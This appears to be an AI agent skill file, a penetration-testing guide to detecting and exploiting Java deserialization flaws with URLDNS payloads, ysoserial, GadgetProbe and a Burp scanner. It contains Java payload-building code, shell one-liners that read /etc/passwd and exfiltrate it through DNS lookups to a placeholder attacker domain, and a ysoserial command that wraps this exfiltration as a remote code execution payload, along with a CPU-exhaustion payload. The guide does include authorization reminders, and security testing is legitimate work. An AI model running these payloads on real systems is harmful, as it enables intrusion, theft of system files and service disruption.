Java Deserialization Detection and Exploitation
A skill for detecting and exploiting Java deserialization vulnerabilities using DNS-based techniques, GadgetProbe, and the Java Deserialization Scanner.
Overview
Java deserialization vulnerabilities occur when applications deserialize untrusted data without proper validation. This skill teaches you to:
- Detect deserialization using DNS-based payloads (URLDNS technique)
- Probe for vulnerable classes using GadgetProbe
- Automate detection and exploitation with Java Deserialization Scanner
- Exfiltrate data via DNS queries
Core Technique: URLDNS Payload
How It Works
The java.net.URL class implements Serializable and has a curious behavior:
- When a
URLobject'shashCode()method is called, it triggers a DNS lookup - During
HashMapdeserialization,hashCode()is called on every key - By placing a
URLobject as a key in a serializedHashMap, deserialization triggers a DNS query
Creating a URLDNS Payload
Use this Python script to generate a URLDNS payload:
python scripts/generate_urldns.py --url "http://<your-collaborator-domain>" --output payload.serial
Or use ysoserial directly:
java -jar ysoserial.jar URLDNS http://<your-collaborator-domain>
Manual Java Implementation
For understanding or customization, here's the core payload structure:
import java.net.URL;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.lang.reflect.Field;
public class URLDNS {
public static void main(String[] args) throws Exception {
String url = "http://<your-domain>";
HashMap ht = new HashMap();
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler);
ht.put(u, url);
// Reset cached hashCode to trigger DNS on deserialization
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
// Serialize ht to file
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) { return null; }
protected synchronized InetAddress getHostAddress(URL u) { return null; }
}
GadgetProbe
What It Does
GadgetProbe determines if specific Java classes exist on the target server by:
- Attempting to deserialize an arbitrary class
- If successful, triggering a DNS query
- If DNS query is received, the class exists and may be exploitable
Installation
# Install from Burp Suite App Store
# Search for "GadgetProbe" in Extender > Marketplace
Usage
- Configure DNS listener (Burp Collaborator or your own)
- Select target request in Burp
- Right-click → Send to GadgetProbe
- Choose wordlist from
wordlists/directory - Run probe and monitor DNS callbacks
Wordlists
GadgetProbe includes wordlists for common vulnerable classes:
commons-collections- Most common gadget chainscommons-beanutils- Alternative gadget sourcesjdk- JDK internal classesspring- Spring Framework gadgets
Java Deserialization Scanner
Installation
# Install from Burp Suite App Store
# Search for "Java Deserialization Scanner" in Extender > Marketplace
Passive Detection
By default, the scanner monitors all traffic for Java serialized magic bytes (AC ED in hex). When found, it flags potential vulnerabilities.
Active Testing
Manual Testing Workflow
- Select request in Burp
- Right-click → Send to DS - Manual Testing
- Navigate to Deserialization Scanner Tab → Manual Testing
- Select insertion point (parameter, header, body, etc.)
- Choose attack type based on encoding:
raw- Raw serialized database64- Base64 encodedurlencoded- URL encoded
- Launch test
The scanner automatically:
- Checks for vulnerable libraries
- Tests multiple ysoserial payloads
- Uses DNS, sleep, or CPU-based detection
- Highlights vulnerable libraries
Exploitation Workflow
Once a vulnerable library is identified:
- Send request to Exploiting Tab
- Select injection point
- Choose vulnerable library (e.g.,
commons-collections3.1) - Enter command to execute
- Press Attack button
DNS Exfiltration
Basic Exfiltration
Exfiltrate file contents via DNS subdomains:
# Exfiltrate /etc/passwd
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do
host $line.$i.<your-domain>;
i=$((i+1));
done)
Command Output Exfiltration
# Exfiltrate command output
(cmd | xxd -p -c 31 | while read line; do
host $line.<your-domain>;
done)
Using with ysoserial
# Execute command and exfiltrate via DNS
java -jar ysoserial.jar CommonsCollections5 \
"(i=0;cat /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.<domain>; i=$((i+1)); done)" \
| base64
Detection Methods
DNS-Based Detection
Pros:
- Reliable callback mechanism
- Works through most firewalls
- Easy to monitor with Burp Collaborator
Cons:
- Requires DNS access
- Limited data exfiltration bandwidth
Sleep-Based Detection
# Java sleep payload
"Thread.sleep(5000)"
Pros:
- No external dependencies
- Works in restricted networks
Cons:
- Slower testing
- May be rate-limited
CPU-Based Detection
# CPU-intensive payload
"while(true){}"
Pros:
- Observable resource consumption
- No external dependencies
Cons:
- May crash target
- Harder to measure precisely
Common Vulnerable Libraries
| Library | Version Range | Gadget Chain |
|---|---|---|
| commons-collections | < 3.2.2 | CommonsCollections1-7 |
| commons-beanutils | < 1.9.3 | BeanUtils1 |
| commons-chain | < 1.1 | CommonsBeanutils1 |
| spring-core | < 5.0.5 | Spring1 |
| jdk | 7u21-7u80 | JDK7u21 |
Testing Checklist
Before testing, verify:
- You have authorization to test the target
- DNS listener is configured and running
- Burp extensions are installed
- Target uses Java (check headers, cookies, responses)
- You understand the legal implications
Response Analysis
Positive Indicators
- DNS callback received
- Delayed response (sleep payload)
- High CPU usage on target
- Error messages mentioning deserialization
Negative Indicators
- No DNS callback
- Immediate response
- No error messages
- Request rejected or sanitized
Safety Considerations
- Always get authorization before testing
- Use non-destructive payloads first (DNS, sleep)
- Avoid CPU-intensive payloads on production systems
- Document findings for remediation
- Test in staging before production